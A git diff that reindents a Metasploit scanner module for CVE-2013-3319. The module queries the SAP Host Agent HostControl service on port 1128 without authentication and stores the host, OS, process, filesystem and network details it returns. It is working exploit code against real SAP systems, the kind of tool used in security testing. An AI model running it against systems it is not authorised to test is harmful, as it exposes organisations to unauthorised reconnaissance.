diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 1976efbc18..9541a0cfff 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -10,310 +10,310 @@ require 'rexml/document' class Metasploit4 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'SAP Host Agent Information Disclosure', - 'Description' => %q{ - This module attempts to retrieve Computer and OS info from Host Agent - through the SAP HostControl service - }, - 'References' => - [ - # General - ['CVE', '2013-3319'], - ['URL', 'https://service.sap.com/sap/support/notes/1816536'], - ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] - ], - 'Author' => - [ - 'Bruno Morisson ' - ], - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'SAP Host Agent Information Disclosure', + 'Description' => %q{ + This module attempts to retrieve Computer and OS info from Host Agent + through the SAP HostControl service + }, + 'References' => + [ + # General + ['CVE', '2013-3319'], + ['URL', 'https://service.sap.com/sap/support/notes/1816536'], + ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] + ], + 'Author' => + [ + 'Bruno Morisson ' + ], + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT(1128) - ], self.class) + register_options( + [ + Opt::RPORT(1128) + ], self.class) - register_autofilter_ports([1128]) + register_autofilter_ports([1128]) - end + end - def initialize_tables + def initialize_tables - @computer_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Computer Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Names", - "Hostnames", - "IPAddresses" - ]) + @computer_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) - @os_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote OS Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Type", - "Version", - "TotalMemSize", - "Load Avg 1m", - "Load Avg 5m", - "Load Avg 15m", - "CPUs", - "CPU User", - "CPU Sys", - "CPU Idle" - ]) - @net_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) + @os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) - @process_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Process Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" - ]) + @process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) - @fs_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Filesystem Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Size", - "Available", - "Remote" - ]) + @fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) - @net_table = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) + @net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) - end + end - def parse_computer_info(computer_info) + def parse_computer_info(computer_info) - success = false - computer_info.each { |item| + success = false + computer_info.each { |item| - temp_table =[] + temp_table =[] - body = "#{item}" + body = "#{item}" - item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) + item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?)<\/mValue><\/item>/ix) - if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ + if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end - @computer_table << [temp_table[0], temp_table[1], temp_table[2]] - success = true - end - } - return success - end + @computer_table << [temp_table[0], temp_table[1], temp_table[2]] + success = true + end + } + return success + end - def parse_os_info(os_info) - @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], - os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] - end + def parse_os_info(os_info) + @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], + os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] + end - def parse_process_info(process_info) - @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], - process_info[5], process_info[6]+'%', process_info[7], process_info[8]] - end + def parse_process_info(process_info) + @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], + process_info[5], process_info[6]+'%', process_info[7], process_info[8]] + end - def parse_fs_info(fs_info) - @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] - end + def parse_fs_info(fs_info) + @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] + end - def parse_net_info(net_info) - @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] - end + def parse_net_info(net_info) + @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] + end - def run_host(rhost) + def run_host(rhost) - rport = datastore['RPORT'] + rport = datastore['RPORT'] - vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") + vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") - data = '' - data << '' - data << '' - data << 'true' - data << '' - data << 'providersaposcol' - data << "\r\n\r\n" + data = '' + data << '' + data << '' + data << 'true' + data << '' + data << 'providersaposcol' + data << "\r\n\r\n" - begin + begin - res = send_request_raw( - { - 'uri' => "/", - 'method' => 'POST', - 'data' => data, - 'headers' => { - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }) + res = send_request_raw( + { + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }) - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Unable to connect to service") - return - end + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Unable to connect to service") + return + end - if res and res.code == 500 and res.body =~ /(.*)<\/faultstring>/i - faultcode = $1.strip - vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") - return + if res and res.code == 500 and res.body =~ /(.*)<\/faultstring>/i + faultcode = $1.strip + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") + return - elsif res and res.code != 200 - vprint_error("#{rhost}:#{rport} - Error in response") - return - end + elsif res and res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response") + return + end - initialize_tables() + initialize_tables() - vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") - begin - response_xml = REXML::Document.new(res.body) - computer_info = response_xml.elements.to_a("//mProperties/") # Computer info - detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info - rescue - print_error("#{rhost}:#{rport} - Unable to parse XML response") - return - end + begin + response_xml = REXML::Document.new(res.body) + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + rescue + print_error("#{rhost}:#{rport} - Unable to parse XML response") + return + end - success = parse_computer_info(computer_info) - # assume that if we can parse the first part, it is a valid SAP XML response + success = parse_computer_info(computer_info) + # assume that if we can parse the first part, it is a valid SAP XML response - detailed_info.each { |item| - temp_table =[] + detailed_info.each { |item| + temp_table =[] - # some items have no , so we put a dummy with nil - body = "#{item}".gsub(/\/mType><\/item/, "\/mType>(nil)<\/mValue><\/item") - item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?) + # some items have no , so we put a dummy with nil + body = "#{item}".gsub(/\/mType><\/item/, "\/mType>(nil)<\/mValue><\/item") + item_list = body.scan(/(.+?)<\/mName>(.+?)<\/mType>(.+?) <\/mValue><\/item>/ix) - if item_list + if item_list - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end - case "#{item_list}" - when /ITSAMOperatingSystem/ - parse_os_info(temp_table) + case "#{item_list}" + when /ITSAMOperatingSystem/ + parse_os_info(temp_table) - when /ITSAMOSProcess/ - parse_process_info(temp_table) + when /ITSAMOSProcess/ + parse_process_info(temp_table) - when /ITSAMFileSystem/ - parse_fs_info(temp_table) + when /ITSAMFileSystem/ + parse_fs_info(temp_table) - when /ITSAMNetworkPort/ - parse_net_info(temp_table) + when /ITSAMNetworkPort/ + parse_net_info(temp_table) - end + end - end - } - if success - print_good("#{rhost}:#{rport} - Information retrieved successfully") - else - print_error("#{rhost}:#{rport} - Unable to parse reply") - return - end + end + } + if success + print_good("#{rhost}:#{rport} - Information retrieved successfully") + else + print_error("#{rhost}:#{rport} - Unable to parse reply") + return + end - sap_tables_clean = '' + sap_tables_clean = '' - [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| - sap_tables_clean << t.to_s - end + [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| + sap_tables_clean << t.to_s + end - vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) - xml_raw = store_loot( - "sap.getcomputersystem", - "text/xml", - rhost, - res.body, - "sap_getcomputersystem.xml", - "SAP GetComputerSystem XML" - ) + xml_raw = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) - xml_parsed = store_loot( - "sap.getcomputersystem", - "text/plain", - rhost, - sap_tables_clean, - "sap_getcomputersystem.txt", - "SAP GetComputerSystem XML" - ) + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) - print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") + print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") - end + end end